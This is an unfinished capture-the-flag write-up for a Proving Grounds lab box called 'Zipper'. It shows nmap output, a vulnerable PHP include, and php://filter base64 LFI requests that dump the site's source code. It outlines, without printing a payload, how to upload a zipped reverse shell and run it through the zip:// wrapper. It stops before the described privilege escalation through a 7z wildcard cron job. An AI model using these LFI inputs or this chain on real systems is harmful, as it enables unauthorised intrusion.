Authorized-lab note: This writeup documents activity performed exclusively in an authorized Offensive Security Proving Grounds lab. It is shared for educational and portfolio purposes.
#Uncomplete A file upload capability and Local File Inclusion (LFI) will be chained to upload a malicious zip file and gain an initial foothold. Privileges will then be escalated by discovering a cron job that includes a *.zip wildcard, which is vulnerable to an arbitrary error that allows reading a file to obtain root access. This lab focuses on exploiting file upload vulnerabilities and privilege escalation methods.
Scenario
This lab demonstrates chaining a file upload functionality with Local File Inclusion (LFI) to achieve Remote Code Execution (RCE). Learners escalate privileges by exploiting a cron job that uses the 7z utility with a wildcard *.zip parameter, allowing arbitrary file reading via symbolic link manipulation. This lab highlights chained web vulnerabilities, wildcard abuse, and cron job exploitation for root access.
Learning objectives
After completion of this lab, learners will be able to:
- Enumerate services to identify the file upload functionality and LFI vulnerability.
- Chain the file upload with LFI to achieve remote code execution.
- Deploy a reverse shell and gain initial access as the www-data user.
- Identify and analyze a root-level cron job that uses the 7z command with *.zip.
- Exploit the wildcard vulnerability to read sensitive files and escalate privileges to root.
Enumeration
This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# This code block contains the helper code used for the documented lab step.
<?php
$file = $_GET['file'];
if(isset($file))
{
include("$file".".php");
}
else
{
include("home.php");
}
?>- It appends .php to the file as expected.
- Lets request the resource=home
http://192.168.170.229/index.php?file=php://filter/convert.base64-encode/resource=homeand decoding the base64 we get
Initial Access
This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
┌──(kali㉿kali)-[~/offsec/zipper]
# Map exposed services and versions on the target.
└─$ nmap -sCV -p- 192.168.170.229
Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-20 15:19 -0400
Nmap scan report for 192.168.170.229
Host is up (0.021s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c1:99:4b:95:22:25:ed:0f:85:20:d3:63:b4:48:bb:cf (RSA)
| 256 0f:44:8b:ad:ad:95:b8:22:6a:f0:36:ac:19:d0:0e:f3 (ECDSA)
|_ 256 32:e1:2a:6c:cc:7c:e6:3e:23:f4:80:8d:33:ce:9b:3a (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Zipper
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.13 secondsOn Port 80, there is site that takes input as a file and gives us zip file to download
Looking at the source code, we find a zip file at
[uploads/upload_1781983382.zip](http://192.168.170.229/uploads/upload_1781983937.zip)It was a dead end
We tried searching more and found that when you click on home button, a GET parameter appears.
http://192.168.170.229/index.php?file=homeLet’s try LFI. We can extract the source using the PHP base64 wrapper. It seems like it’s appending ‘.php’ to the file.
php://filter/convert.base64-encode/resource=index
Using the base64 decoder, we get
This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
# This code block contains the helper code used for the documented lab step.
<!DOCTYPE html>
<html lang="en" >
<head>
<meta charset="UTF-8">
<title>Zipper</title>
<meta name="viewport" content="width=device-width, initial-scale=1", shrink-to-fit=no"><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css">
<link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.0.0-beta.2/css/bootstrap.min.css'>
<link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css'><link rel="stylesheet" href="./style.css">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css">
</head>
<body>
<?php include 'upload.php'; ?>
<!-- partial:index.partial.html -->
<nav class="navbar navbar-expand-md navbar-dark fixed-top bg-dark">
<a class="navbar-brand" href="#">
<i class="fa fa-codepen" aria-hidden="true"></i>
Zipper
</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarsExampleDefault" aria-controls="navbarsExampleDefault" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarsExampleDefault">
<ul class="navbar-nav mr-auto">
<li class="nav-item active">
<a class="nav-link" href="/index.php?file=home">Home <span class="sr-only">(current)</span></a>
</li>
</ul>
<form class="form-inline my-2 my-lg-0">
<input class="form-control mr-sm-2" type="text" placeholder="Search" aria-label="Search">
<button class="btn btn-outline-light my-2 my-sm-0" type="submit">Search</button>
</form>
</div>
</nav>
<!-- Main jumbotron for a primary marketing message or call to action -->
<div class="jumbotron">
<div class="container">
<h1 class="display-3">Welcome to Zipper!</h1>
<p class="lead">
With this online ZIP converter you can compress your files and create a ZIP archive. Reduce file size and save bandwidth with ZIP compression.
Your uploaded files are encrypted and no one can access them.
</p>
<hr class="my-4">
<div class="page-container row-12">
<h4 class="col-12 text-center mb-5">Create Zip File of Multiple Uploaded Files </h4>
<div class="row-8 form-container">
<?php
if(!empty($error)) {
?>
<p class="error text-center"><?php echo $error; ?></p>
<?php
}
?>
<?php
if(!empty($success)) {
?>
<p class="success text-center">
Files uploaded successfully and compressed into a zip format
</p>
<p class="success text-center">
<a href="uploads/<?php echo $success; ?>" target="__blank">Click here to download the zip file</a>
</p>
<?php
}
?>
<form action="" method="post" enctype="multipart/form-data">
<div class="input-group">
<div class="input-group-prepend">
<input type="submit" class="btn btn-primary" value="Upload">
</div>
<div class="custom-file">
<input type="file" class="custom-file-input" name="img[]" multiple>
<label class="custom-file-label" >Choose File</label>
</div>
</div>
</form>
</div>
</div>
</div>
</div>
<div class="container">
<footer>
<p>© Zipper 2021</p>
</footer>
</div> <!-- /.container -->
<!-- partial -->
<script src='https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.13.0/umd/popper.min.js'></script>
<script src='https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.0.0-beta.2/js/bootstrap.bundle.min.js'></script>
</body>
</html>- requesting
php://filter/convert.base64-encode/resource=upload
This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
# This code block contains the helper code used for the documented lab step.
<?php
if ($_FILES && $_FILES['img']) {
if (!empty($_FILES['img']['name'][0])) {
$zip = new ZipArchive();
$zip_name = getcwd() . "/uploads/upload_" . time() . ".zip";
// Create a zip target
if ($zip->open($zip_name, ZipArchive::CREATE) !== TRUE) {
$error .= "Sorry ZIP creation is not working currently.<br/>";
}
$imageCount = count($_FILES['img']['name']);
for($i=0;$i<$imageCount;$i++) {
if ($_FILES['img']['tmp_name'][$i] == '') {
continue;
}
$newname = date('YmdHis', time()) . mt_rand() . '.tmp';
// Moving files to zip.
$zip->addFromString($_FILES['img']['name'][$i], file_get_contents($_FILES['img']['tmp_name'][$i]));
// moving files to the target folder.
move_uploaded_file($_FILES['img']['tmp_name'][$i], './uploads/' . $newname);
}
$zip->close();
// Create HTML Link option to download zip
$success = basename($zip_name);
} else {
$error = '<strong>Error!! </strong> Please select a file.';
}
}- We know that our zip files is stored on the /uploads as well.
- There’s this zip:// PHP wrapper that will unzip and read our file automatically.
- Here’s an article for reference. PHP ZIP:// wrapper for RCE
- Basically we just need to upload a reverse shell file and load it using the LFI and zip wrapper.
Takeaways
This lab reinforced the value of methodical enumeration, evidence-driven hypothesis testing, and validating each access-control boundary in an authorized environment.